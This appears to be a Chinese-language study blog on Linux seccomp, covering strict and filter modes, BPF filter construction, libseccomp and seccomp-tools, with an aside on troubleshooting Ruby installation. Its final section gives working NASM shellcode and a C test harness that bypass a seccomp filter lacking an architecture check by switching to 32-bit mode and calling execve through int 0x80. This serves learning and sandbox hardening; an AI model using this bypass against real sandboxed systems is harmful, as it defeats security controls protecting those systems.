Abstract SECure COMPuting mode
,Linux内核中的一种计算机安全机制。seccomp有两中模式
Strict。
Filter。
In this sense, it does not virtualize the system’s resources but isolates the process from them entirely.
seccomp不会虚拟化系统资源,而是将进程与系统资源完全隔离开。
/usr/include/linux/seccomp.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #ifndef _LINUX_SECCOMP_H #define _LINUX_SECCOMP_H #include <linux/types.h> #define SECCOMP_MODE_DISABLED 0 #define SECCOMP_MODE_STRICT 1 #define SECCOMP_MODE_FILTER 2 #define SECCOMP_SET_MODE_STRICT 0 #define SECCOMP_SET_MODE_FILTER 1 #define SECCOMP_GET_ACTION_AVAIL 2 ...
Strict Mode 严格模式,或hard-coded filter,硬编码过滤。该模式下进程只能使用_exit()[exit_group(2)除外],sigreturn(),read(),write()
这四个syscall,如果尝试其余的syscall,内核将使用SIGKILL
或SIGSYS
终止该进程。
Filter Mode 过滤模式,或seccomp-bpf,user-supplied filter。该模式下通过BPF(Berkeley Packet Filter)规则,允许指定可使用的syscalls。
BPF filter.h
中定义了两个宏
1 2 3 4 5 6 #ifndef BPF_STMT #define BPF_STMT(code, k) { (unsigned short)(code), 0, 0, k } #endif #ifndef BPF_JUMP #define BPF_JUMP(code, k, jt, jf) { (unsigned short)(code), jt, jf, k } #endif
code
相关定义可以参考/usr/include/linux/bpf_common.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 #define BPF_CLASS(code) ((code) & 0x07) #define BPF_LD 0x00 #define BPF_LDX 0x01 #define BPF_ST 0x02 #define BPF_STX 0x03 #define BPF_ALU 0x04 #define BPF_JMP 0x05 #define BPF_RET 0x06 #define BPF_MISC 0x07 #define BPF_SIZE(code) ((code) & 0x18) #define BPF_W 0x00 #define BPF_H 0x08 #define BPF_B 0x10 #define BPF_MODE(code) ((code) & 0xe0) #define BPF_IMM 0x00 #define BPF_ABS 0x20 #define BPF_IND 0x40 #define BPF_MEM 0x60 #define BPF_LEN 0x80 #define BPF_MSH 0xa0 #define BPF_OP(code) ((code) & 0xf0) #define BPF_ADD 0x00 #define BPF_SUB 0x10 #define BPF_MUL 0x20 #define BPF_DIV 0x30 #define BPF_OR 0x40 #define BPF_AND 0x50 #define BPF_LSH 0x60 #define BPF_RSH 0x70 #define BPF_NEG 0x80 #define BPF_MOD 0x90 #define BPF_XOR 0xa0 #define BPF_JA 0x00 #define BPF_JEQ 0x10 #define BPF_JGT 0x20 #define BPF_JGE 0x30 #define BPF_JSET 0x40 #define BPF_SRC(code) ((code) & 0x08) #define BPF_K 0x00 #define BPF_X 0x08
例子1:加载架构号进accumulator
1 2 BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch)))
BPF_LD : load
BPF_W : operand size is a word
BPF_ABS : address mode specifying that source of load is data area (containing system call data)
offsetof() generates offset of desired field in data area
例子2:Test value in accumulator
1 2 BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1 , 0 )
BPF_JMP | BPF_JEQ : jump with test on equality
BPF_K : value to test against is in generic multiuse field (k)
k contains value AUDIT_ARCH_X86_64
jt value is 1, meaning skip one instruction if test is true
jf value is 0, meaning skip zero instructions if test is false
I.e., continue execution at following instruction
注意:Checking architecture value should be first step in any BPF program
Architecture may support multiple system call conventions E.g. x86 hardware supports x86-64 and i386 系统调用号可能会不同或有重叠(安全隐患 ,后文中会分析)
Filter return action component is one of
SECCOMP_RET_ALLOW : system call is executed
SECCOMP_RET_KILL : process is immediately terminated
Terminated as though process had been killed with SIGSYS
SECCOMP_RET_ERRNO : return an error from system call
System call is not executed
Value in SECCOMP_RET_DATA is returned in errno
SECCOMP_RET_TRACE : attempt to notify ptrace() tracer
Gives tracing process a chance to assume control
SECCOMP_RET_TRAP : process is sent SIGSYS signal
Seccomp prctl /usr/include/linux/filter.h
中定义了BPF重要的两个结构。
sock_fprog
结构体记录了具体的过滤规则条目数,并指向具体的过滤规则filter
1 2 3 4 struct sock_fprog { unsigned short len; struct sock_filter *filter ; };
具体的每一条过滤规则结构如下。
1 2 3 4 5 6 struct sock_filter { __u16 code; __u8 jt; __u8 jf; __u32 k; };
/usr/include/linux/seccomp.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct seccomp_data { int nr; __u32 arch; __u64 instruction_pointer; __u64 args[6 ]; };
seccomp_data
的四个元素:
nr:系统调用号
arch:系统架构
instruction_pointer:指令指针
args:系统调用的参数,最多6个。在32位下是:ebx,ecx,edx,esi,edi,ebp
,在64位下是:rdi,rsi,rdx,r10,r8,r9
为进程安装filter
1 prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog);
或
1 2 seccomp(SECCOMP_SET_MODE_FILTER, flags, &fprog);
启用filter的前提条件:
Caller is privileged (CAP_SYS_ADMIN
)
Caller has to set the no_new_privs
process attribute
prctl(PR_SET_NO_NEW_PRIVS, 1);
例子:deny open()
1 2 3 4 5 6 7 8 9 int main (int argc, char **argv) { prctl(PR_SET_NO_NEW_PRIVS, 1 , 0 , 0 , 0 ); install_filter(); open("/tmp/a" , O_RDONLY, 0666 ); printf (" We shouldn’t see this message\n" ); exit (EXIT_SUCCESS); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 static void install_filter (void ) { struct sock_filter filter [] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, arch))), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1 , 0 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), BPF_STMT(BPF_LD | BPF_W | BPF_ABS, (offsetof(struct seccomp_data, nr))), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_open, 5 1 , 0 ), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW), BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL) }; struct sock_fprog prog = { .len = (unsigned short ) (sizeof (filter) / sizeof (filter[0 ])), .filter = filter, }; seccomp(SECCOMP_SET_MODE_FILTER, 0 , &prog); }
加载architecture进accumulator
判断架构值是否等于AUDIT_ARCH_X86_64
True:跳过下一个指令
False:依顺序向下执行
如果架构不匹配,则kill process
加载系统调用号进accumulator
判断系统调用号是否等于__NR_open
True:跳过下一条指令=>kill process
False:按顺序执行=>allow system call
libseccomp 早期的seccomp采用prctl来实现,后来seccomp被封装成libseccomp库。
早期的libseccomp安装
1 sudo apt install libseccomp-dev libseccomp2 seccomp
现在已经全都整合成了seccomp
1 2 3 find /usr/include/ -name seccomp.h /usr/include/seccomp.h /usr/include/linux/seccomp.h
注意区分,linux
目录下的seccomp.h
是原始版本。而linux
目录外的seccomp.h
则是libseccomp。
1 scmp_filter_ctx seccomp_init (uint32_t def_action) ;
初始化seccomp filter状态。
1 int seccomp_reset (scmp_filter_ctx ctx, uint32_t def_action) ;
重置并初始化seccomp filter。该函数不会重置已经加载到内核中的seccomp filter。
1 void seccomp_release (scmp_filter_ctx ctx) ;
破坏filter状态,并释放资源,包括内存。该函数不会重置已经加载到内核中的seccomp filter。
1 uint32_t seccomp_arch_resolve_name(const char *arch_name);
解析架构名
1 int seccomp_rule_add (scmp_filter_ctx ctx, uint32_t action, int syscall, unsigned int arg_cnt, ...) ;
添加一个新规则进filter
1 int seccomp_load (const scmp_filter_ctx ctx) ;
加载filter进入内核
以上函数的主要参数
ctx
:filter的内容
action
:filter的动作
def_action
:filter默认的动作
arg_cnt
:对syscall追加arg_cnt
个参数的规则
简单示例,以组织execve
为例
1 2 3 4 scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0 ); seccomp_load(ctx);
对以上代码的简要描述
SCMP_ACT_ALLOW
:初始化seccomp时赋予对所有syscall的默认规则为ALLOW
SCMP_ACT_KILL
:对execve
的规则是KILL
SCMP_SYS
:获取系统调用号
#define SCMP_SYS(x) (__NR_##x)
具体的__NR_***
定义在/usr/include/x86_64-linux-gnu/asm/unistd_64.h
0
:不考虑execve
的参数,一律KILL
环境配置问题 要求ruby>=2.4
但是apt默认的只有2.3
所以先想办法升级ruby。
1 git clone https://github.com/postmodern/ruby-install
然后运行./setup.sh
,记得挂代理
会全自动安装ruby2.3 ruby-install等
然后运行
可以获取最新版本
或者直接
1 ruby-install --latest ruby
然后失败。。。
选择换个方式,先安装rvm
安装rvm
1 \curl -sSL https://get.rvm.io | bash -s stable
得挂代理
失败,提示要先安装GPG keys
安装GPG keys
1 gpg2 --keyserver hkp://pool.sks-keyservers.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3 7D2BAF1CF37B13E2069D6956105BD0E739499BDB
(此处命令与官网上的命令不同,官网的命令无效)
然后这个命令有难处,无反应
后返回ruby-install,思考最开始的失败可能与proxychains有关,所以去找了一个镜像地址
1 ruby-install -M https://cache.ruby-china.com/pub/ruby --latest ruby
精彩的地方来了,ruby-install需要获取ruby版本list,获取版本list必须挂代理,只有过了这一关,才能去镜像站获取对应版本的压缩包。绝了
最后没办法,失手又进ruby-install运行了一下./setup.sh
,开始流畅的编译了了??????
编译好了。。。
image-20200317170359438
发现没有gem
最后还是选择了rvm安装ruby
https://github.com/rvm/ubuntu_rvm
1 2 3 4 5 sudo apt-get install software-properties-common sudo apt-add-repository -y ppa:rael-gc/rvm sudo apt-get update sudo apt-get install rvm echo 'source "/etc/profile.d/rvm.sh"' >> ~/.bashrc
然后安装ruby
image-20200317194117459
权限不足,不知所措
解决方法:
1 rvmsudo rvm install 2.7.0 --disable -binary
这下gem也在了在个屁。。。
ruby2.7 rvm gem永不共存,共存永远没有权限
最后,经过咨询,得出结论,不要用16.04
打开另一个18.04的虚拟机,发现已经安装了ruby2.5!而且有gem!
然后还是有权限问题,网上搜了一圈解决方案,并不可行。
最后×N,选择编译安装ruby,官网很慢,去国内镜像站下载https://cache.ruby-china.com/pub/ruby/2.7/
解压,然后编译安装
1 2 3 ./configure --prefix=/usr/local /ruby make sudo make install
安装好了,配置一下$PATH,然后能用gem了
但是gem还是有权限问题,后来我就用了一个骚操作
Linux的sudo问题还是复杂。。。
1 sudo /usr/local /ruby/bin/gem install seccomp-tools
宗旨:一切以能用为准
尝试 原始示例 1 2 3 4 5 6 7 8 #include <unistd.h> int main () { puts ("simple seccomp test part 1" ); system("/bin/sh" ); return 0 ; }
编译
image-20200317225029405
普通的调用了一个shell
Strict mode 现在加入seccomp严格模式。
1 2 3 4 5 6 7 8 9 10 11 #include <unistd.h> #include <linux/seccomp.h> #include <sys/prctl.h> int main () { prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT); puts ("simple seccomp test part 1" ); system("/bin/sh" ); return 0 ; }
编译运行
image-20200317231434656
可以看到,这里连puts
都没能执行,因为严格模式只允许使用write
所以做一点小修改
1 2 3 4 5 6 7 8 9 10 11 #include <unistd.h> #include <linux/seccomp.h> #include <sys/prctl.h> int main () { prctl(PR_SET_SECCOMP,SECCOMP_MODE_STRICT); write(1 ,"simple seccomp test part 1\n" ,27 ); system("/bin/sh" ); return 0 ; }
重新编译运行
image-20200317231544117
Filter mode 禁用所有系统调用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <unistd.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <linux/filter.h> struct sock_filter filter [] = { BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; int main () { prctl(PR_SET_NO_NEW_PRIVS, 1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog); write(1 , "simple seccomp test part 3\n" , 27 ); system("/bin/sh" ); return 0 ; }
image-20200319230844217
只禁用execve 查看系统调用号:
/usr/include/asm/unistd.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #ifndef _ASM_X86_UNISTD_H #define _ASM_X86_UNISTD_H #define __X32_SYSCALL_BIT 0x40000000 # ifdef __i386__ # include <asm/unistd_32.h> # elif defined(__ILP32__) # include <asm/unistd_x32.h> # else # include <asm/unistd_64.h> # endif #endif
根据系统查看x32或x64
/usr/include/asm/unistd_64.h
1 2 3 ... #define __NR_execve 59 ...
获取execve
的系统调用号为59
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <unistd.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <linux/filter.h> struct sock_filter filter [] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,59 ,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; int main () { prctl(PR_SET_NO_NEW_PRIVS, 1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog); write(1 , "simple seccomp test part 4\n" , 27 ); system("/bin/sh" ); return 0 ; }
image-20200319231616364
libseccomp方式 禁用execve
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #include <unistd.h> #include <sys/prctl.h> #include <seccomp.h> #include <linux/seccomp.h> #include <linux/filter.h> int main () { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_ALLOW); seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0 ); seccomp_load(ctx); write(1 , "simple seccomp test part 5\n" , 27 ); system("/bin/sh" ); return 0 ; }
编译
1 gcc -g test5.c -o test5 -lseccomp
image-20200326112547118
seccomp-tools查看filter规则
1 2 3 4 5 6 7 8 9 10 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x05 0xc000003e if (A != ARCH_X86_64) goto 0007 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x02 0xffffffff if (A != 0xffffffff) goto 0007 0005: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0007 0006: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0007: 0x06 0x00 0x00 0x00000000 return KILL
Architecture number check 用prctl写一个检查架构号的规则
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 #include <asm/unistd_64.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <linux/filter.h> #include <linux/audit.h> struct sock_filter filter [] = { BPF_STMT(BPF_LD | BPF_W | BPF_ABS,4 ), BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K,AUDIT_ARCH_X86_64, 0 , 2 ), BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,__NR_execve,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; int main () { prctl(PR_SET_NO_NEW_PRIVS, 1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog); write(1 , "simple seccomp test part 6\n" , 27 ); system("/bin/sh" ); return 0 ; }
用seccomp-tools查看一下filter的规则
1 2 3 4 5 6 7 8 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
bypass 未检查architecture|switching x64 mode to x86 mode 32位和64位中的系统调用号是不同的,如果程序使用seccomp而未对系统架构作检查,可能导致seccomp被绕过
首先将上述test6的程序作为例子,分别编译32位和64位版本
1 2 3 4 $ ./test6_x64 simple seccomp test part 6 $ ./test6_x86 Bad system call (core dumped)
造成这一差异的原因,可以通过seccomp-tools来分析
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ seccomp-tools dump ./test6_x64 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW $ seccomp-tools dump ./test6_x86 line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x02 0xc000003e if (A != ARCH_X86_64) goto 0004 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x00 0x01 0x0000003b if (A != oldolduname) goto 0005 0004: 0x06 0x00 0x00 0x00000000 return KILL 0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW
可以看到由于原先的test6是根据x64的系统调用号设定的,因此在x86下seccomp错误的指向了oldolduname
查看unistd_32.h
可以找到32位下execve
的调用号为11
这里一个单纯kill了execve(),另外一个回报错的差异,先挖个坑
通过CPU状态的切换可以绕过这一限制,前提:
未检查arch
execve
的系统调用号调用号未被禁止,x86架构下为11,x64架构下为59
sys_mmap
或sys_mprotect
能用。这种绕过方式通常没用gadgets可以利用,以此需要获取一个可写可执行的内存空间来注入执行shellcode
参考网上关于”Mixing x86 with x64 code”的博客,通过给cs寄存器赋值,可以实现架构模式的切换
1 2 cs = 0x23 -> x86 mode cs = 0x33 -> x64 mode
然后通过RETF
(far return)可以实现给cs赋值
参考betamao的博客,下述的shellcode写入sec.asm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 section .text global my_execve my_execve: lea rsp,[stk] ;;如下所述,防止内存访问异常 call to32 ;;转换为32位 mov eax,11 ;;32位的sys_execve 64位的sys_munmap mov ebx,edi ;;32位和64位参数所用寄存器不同需要手动修改 mov ecx,esi mov edx,edx int 0x80 ;;32位不能使用syscall,只能使用此指令 ret to32: mov DWORD [rsp+4],0x23 retf section .bss ;;这里创建了一个栈,因为to32后rsp只有低位也就是esp有效了,若不这样做它将会指向一个不可访问的区域,这将会导致访问异常 resb 1000 ;;在实际利用过程中找到一个可访问的低位地址就好了 stk:
主程序test7.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 #include <asm/unistd_64.h> #include <sys/prctl.h> #include <linux/seccomp.h> #include <sys/prctl.h> #include <linux/filter.h> #include <linux/audit.h> #include <stdint.h> #include <sys/mman.h> extern void my_execve (char *,char **,char **) ; char *args[]={ "/bin/sh" , 0 }; struct sock_filter filter [] = { BPF_STMT(BPF_LD+BPF_W+BPF_ABS,0 ), BPF_JUMP(BPF_JMP+BPF_JEQ,__NR_execve,0 ,1 ), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_KILL), BPF_STMT(BPF_RET+BPF_K,SECCOMP_RET_ALLOW), }; struct sock_fprog prog = { .len = (unsigned short )(sizeof (filter)/sizeof (filter[0 ])), .filter = filter, }; int main () { prctl(PR_SET_NO_NEW_PRIVS, 1 ,0 ,0 ,0 ); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER,&prog); write(1 , "simple seccomp bypass test 1\n" , 30 ); my_execve(args[0 ],args,0 ); return 0 ; }
编译测试
1 2 nasm -felf64 sec.asm -o sec.o gcc sec.o test7.c -o test7
演示
1 2 3 4 $ ./test7 simple seccomp bypass test 1 $ ls Bad system call (core dumped)
出现了明显的问题,这里原因是生成的shell后续的指令不能通过调用__x64_sys_execve
来执行,所以这里可以在shellcode中直接执行指令,而不是调用shell
将上述代码12行的/bin/sh
换成其他指令,如/usr/bin/whoami
1 2 3 $ ./test7 simple seccomp bypass test 1 wh4lter
检查architecture|在x64下调用x86的syscall 先挖坑,有空再填
References
http://man7.org/linux/man-pages/man2/seccomp.2.html
https://lwn.net/Articles/656307/
http://man7.org/conf/lpc2015/limiting_kernel_attack_surface_with_seccomp-LPC_2015-Kerrisk.pdf
https://bbs.pediy.com/thread-258146.htm
https://blog.betamao.me/2019/01/23/Linux%E6%B2%99%E7%AE%B1%E4%B9%8Bseccomp/
https://www.kernel.org/doc/html/v4.16/userspace-api/seccomp_filter.html
https://github.com/seccomp/libseccomp
https://lwn.net/Articles/494252/
https://www.freebsd.org/cgi/man.cgi?query=bpf&sektion=4&manpath=FreeBSD+4.7-RELEASE
http://blog.rewolf.pl/blog/?p=102